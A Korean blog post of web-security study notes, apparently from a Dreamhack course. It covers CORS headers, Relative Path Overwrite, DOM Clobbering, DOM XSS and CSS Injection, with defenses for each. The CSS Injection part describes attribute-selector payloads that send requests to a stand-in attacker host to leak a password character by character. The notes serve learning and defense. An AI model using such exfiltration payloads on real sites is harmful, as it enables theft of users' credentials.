Access-Control-Allow-Headers | 요청에 허용되는 헤더 지정 |
Access-Control-Expose-Headers | 웹 클라이언트가 접근할 수 있는 응답 헤더 지정 |
Access-Control-Max-Age | CORS 정책이 캐시될 수 있는 최대 기간 지정 |
CORS 정책을 요청하는 클라이언트의 헤더는 다음과 같습니다.
헤더 이름설명
Access-Control-Request-Headers | OPTIONS 요청이 끝나고 실제 요청을 보낼 때 포함될 헤더의 목록을 지정합니다. |
Access-Control-Request-Method | OPTIONS 요청이 끝나고 실제 요청을 보낼 때 사용될 HTTP 메소드 이름을 지정합니다. |
Access-Control-Allow-Origin이 *로 설정되는 등 위의 헤더가 잘못 설정될 경우 다른 웹 페이지에서 모든 서비스가 접근 가능하게 만들 수 있습니다. CORS 표준에서는 이러한 종류의 잘못된 설정으로 사용자의 계정 정보가 누출되는 침해 사고를 완화하기 위해 Access-Control-Allow-Origin이 *이 아닌 명시적인 Origin 값을 가져야 Access-Control-Allow-Credentals 헤더가 효력을 발하도록 명시하고 있습니다.
Exploit Techniques(탈취 기술)
웹이 발전하면서 웹 응용의 복잡도는 점점 증가하고, 취약점 및 공격 방식 또한 다양화되어 왔습니다. XSS 공격과 같은 경우 필터나 웹 방화벽 등에 따라 그 영향이 제한될 수 있으나 이를 우회할 수 있는 여러 테크닉이 존재하며, URL 변조 등 공격이 가해질 수 있는 지점(공격 벡터) 또한 다양합니다. XSS 취약점을 방지할 때 서버측 뿐만 아니라 클라이언트 또한 방어가 필요할 수 있습니다. 이 주제에서는 XSS 공격과 연계할 수 있는 익스플로잇 테크닉에 대해 알아보겠습니다.
Relative Path Overwrite (RPO)
특정 URL의 하위 경로를 접근해도 같은 웹 페이지가 출력되는 것을 이용해 페이지에서 참조된 상대 경로 URL의 기준점을 바꾸는 공격
DOM Clobbering
메일 수신자, 게시글 작성자 등 제3자에 의해 HTML 마크업이 제공될 때, id나 name과 같은 속성을 이용하여 JavaScript에서 접근할 수 있는 전역변수 공간 또는 객체 속성 공간 상에서 원하는 이름으로 임의의 DOM 객체를 삽입하는 공격
Template / DOM XSS
서버측 XSS 공격과 유사하나 JavaScript에서 innerHTML 등 마크업을 해석하는 속성을 사용하거나 템플릿 라이브러리를 사용할 때 그 마크업 또는 템플릿을 제 3자가 제공 가능할 때 이를 이용해 스크립트 등을 삽입하는 공격
CSS Injection
다른 태그들의 사용이 불가하고, style태그 또는 style속성에 대해서 변조 가능 시 사용할 수 있는 방법 중 하나 입니다. 다른 태그의 속성 값을 참/거짓의 방식을 통해 알아내거나, HTTP 트래픽을 생성시킬 수 있습니다.
Relative Path Overwrite
RPO(Relative Path Ovewrite)란 PHP 등 일부 CGI형태 웹 스크립트에서 스크립트명 이하의 경로를 지정해도 같은 페이지가 조회되나 상대 경로 자원 참조는 이에 따라 변하지 않는 경우를 이용한 공격입니다.
예를 들어 아래와 같이 스크립트를 로드하는 태그가 두개 있습니다.
1번째 줄과 2번째 줄의 스크립트 태그의 차이는 src의 맨 앞에 존재하는 /의 차이가 있습니다.
1번째 줄은 앞에 존재하는 /에 의해 스크립트 로드 시 최상위 경로 부터 시작하여 탐색(절대 경로)하고 로드합니다.
반면에 2번째 줄의 스크립트는 현재 경로에서 시작해서 탐색(상대 경로)하고 로드하게됩니다.
index.php에 위 두 스크립트 태그를 작성한 후 http://dreamhack.io/index.php와 같이 접근 시 같은 경로에 존재하는 /app/main.js를 로드합니다.
하지만 http://dreamhack.io/index.php/와 같이 요청하게 되면
1번째 줄의 스크립트 태그는 절대 경로로 탐색하여 /app/main.js를 로드하지만,
2번째 줄의 스크립트 태그는 현재 경로가 /index.php/이므로 해당 경로 부터 시작하여 /index.php/app/main.js에 존재하는 파일에 대해 요청하게 됩니다.
../와 같이 경로를 조작하여 해당 서버에서 원하는 스크립트 등이 해당 페이지에 로드 되도록 유도하여 공격에 사용할 수 있습니다.
RPO를 방어할 수 있는 최선의 방법은 CSS, JavaScript 등을 참조할 때 절대 경로(e.g. /js/util.js
또는 https://mydomain/js/util.js)를 사용하는 것입니다.
이외에도 X-Content-Type-Options: nosniff 등으로 HTML 페이지가 CSS나 JavaScript로 해석되지 않도록 할 수 있으며, 동적 웹 페이지 CGI 또는 $_SERVER의 PATH_INFO 변수를 확인하여 만일 RPO 공격이 탐지될 경우 처리를 중단하는 것이 좋습니다.
DOM Clobbering
id, name 등 HTML에서 사용되는 식별자 속성을 이용해 자바스크립트에서 접근 가능한 (DOM) 객체들의 속성 및 메소드 등을 변조하는 기법입니다.
*DOM : 문서와 문서 요소 접근
https://developer.mozilla.org/ko/docs/Web/API/Document_Object_Model/Introduction
기존 브라우저는 스크립트 작성자의 편의를 위해 DOM 노드(원소 등)에서 자식 노드 등을 직접 접근할 수 있도록 해왔습니다. 웹 프로그래밍을 하다 보면 document.getElementById() 를 사용하지 않고도 노드 id를 변수처럼 사용할 수 있음을 발견할 수 있는데, Window 전역 객체는 JavaScript Proxy와 유사한 형태로 구현되어 있어 정의되지 않은 속성은 DOM에서 찾게 됩니다. 이 외에도 form 요소 또한 하위 요소를 name값으로 찾을 수 있도록 되어 있습니다.
비록 웹 개발자 입장에서는 편리한 기능일 수 있으나, 만약 HTML 마크업이 사용자나 제3자로부터 제공된다면 문제가 발생할 수 있습니다. 글로벌 변수 이름공간이나 요소 객체 속성은 미리 정의된 속성(e.g. element.innerHTML, window.open 등)과 충돌할 수 있으며, 프로그래머가 예상했던 것과 다른 값이 반환되게 됩니다.
만약 웹 응용이 미리 정의되지 않은 전역 변수에 접근한다면 공격자가 입력한 요소로 대체되어 반환될 수 있습니다. 또한 form 등 요소에서 속성을 접근할 때 본래 속성값이 아닌 삽입된 객체가 반환되게 됩니다.
DOM Clobbering을 방어할 수 있는 가장 효과적인 방법은 간접적 메소드 호출 및 접근자를 사용하는 것입니다. (e.g. Function#call)
예를 들어 HTMLFormElement.prototype.reset.call(elm) ,
Object.getOwnPropertyDescriptor(Node.prototype, 'textContent').set.call(elm, '') 와 같은 형태를 활용하면 실제 객체에 어떤 속성에 정의되었느냐에 상관없이 본래 속성을 접근할 수 있게 됩니다. 그러나 사용이 번거로워 잘 사용되지는 않습니다.
그럼에도 불구하고 third-party 라이브러리(e.g. jQuery)와의 상호 작용에서 취약점이 발생할 가능성이 높은데, id, name 등 식별자 attribute를 제거할 수 있는 DOMPurify와 같은 라이브러리를 사용하는 것이 좋습니다.
참고
https://intadd.tistory.com/143
Template / DOM XSS
XSS 공격은 보통 서버에서 데이터를 제대로 검증하거나 필터하지 않은 채 HTML 문서에 포함시켜 발생하지만, 클라이언트에서 발생할 수도 있습니다. DOM에서 innerHTML, outerHTML, insertAdjacentHTML 등은 스크립트에서 HTML 마크업을 삽입할 수 있도록 합니다. 또한 다양한 자바스크립트 라이브러리 또는 프레임워크는 {{ 1 + 1 }} 와 같이 코드나 식을 실행하여 그 결과를 문서에 표시할 수 있도록 하는 템플릿 엔진을 제공하고 있습니다.
만약 이들 마크업이나 템플릿을 제3자가 입력할 수 있다면 다음과 같이 임의의 스크립트를 실행할 수 있게 됩니다.
DOM XSS를 방지하려면 가급적 innerHTML와 같이 마크업을 해석하는 속성의 사용을 피해야 하고,
부득이 서식 등 마크업 입력이 필요한 경우 서버측 XSS 방어와 같이 XSS 필터를 이용하여 안전한 마크업만이 삽입되도록 해야 합니다.
템플릿를 사용하는 경우 또한 마찬가지로 외부에서 들어오는 입력을 템플릿으로 사용하지 않는 것이 좋습니다.
CSS Injection
CSS(Cascading Style Sheets)의 Attribute Selectors와 HTTP 요청을 생성할 수 있는 문법들을 이용해 현재 문서의 정보를 획득하거나, CSRF 공격으로 연계할 수 있습니다.
Attribute Selectors
HTTP Send
위와 같은 문법들을 통해 HTTP를 요청을 생성할 수 있습니다.
아래와 같이 중요한 데이터가 페이지내에 존재하며, css 문법을 사용할 수 있을 경우 CSS Injection을 통해 해당 페이지의 중요 정보를 획득할 수 있습니다.
- 공격 페이로드 - 1
[value^='a'] 는 value의 첫 단어가 a인 경우 background 이미지로 http://hacker.dreamhack.com/a 에 요청하는 문법입니다.
즉, 위와 같은 페이지에서는 [value^='S'] 조건이 참이 되며, http://hacker.dreamhack.com/S 주소에 HTTP 요청을 전송하게 됩니다. 해당 HTTP 요청을 받는 공격자는 password의 첫 단어가 S 라는 점을 알 수 있게 됩니다.
- 공격 페이로드 - 2
첫 단어가 S 라는 점을 알게된 후 다시 한번 요청하여 다음 단어를 획득할 수 있습니다.
이와 같은 방법을 반복하여 전체 단어를 획득할 수 있습니다.
Attribute Selectors syntax
syntax 설명 만족하는 예시
[value^='a'] | a로 시작하는 경우 | <value="abc"> |
[value$='a'] | a로 끝나는 경우 | <value="cba"> |
[value*='a'] | a가 포함되어 있는 경우 | <value="bab"> |
[value='ABC' i] | abc이며 대소문자 구분을 하지 않는 경우 | <value="abc"> |
퀴즈
'보안공부 > 배운내용정리' 카테고리의 다른 글
dreamhack05. Sql injection (0) | 2021.07.08 |
---|---|
칼리리눅스 설치 (0) | 2021.05.23 |
Flask (0) | 2021.05.18 |
dreamhack03 *0517 update *0528 코드 파헤치기 (0) | 2021.05.14 |
dreamhack2-2 (0) | 2021.05.14 |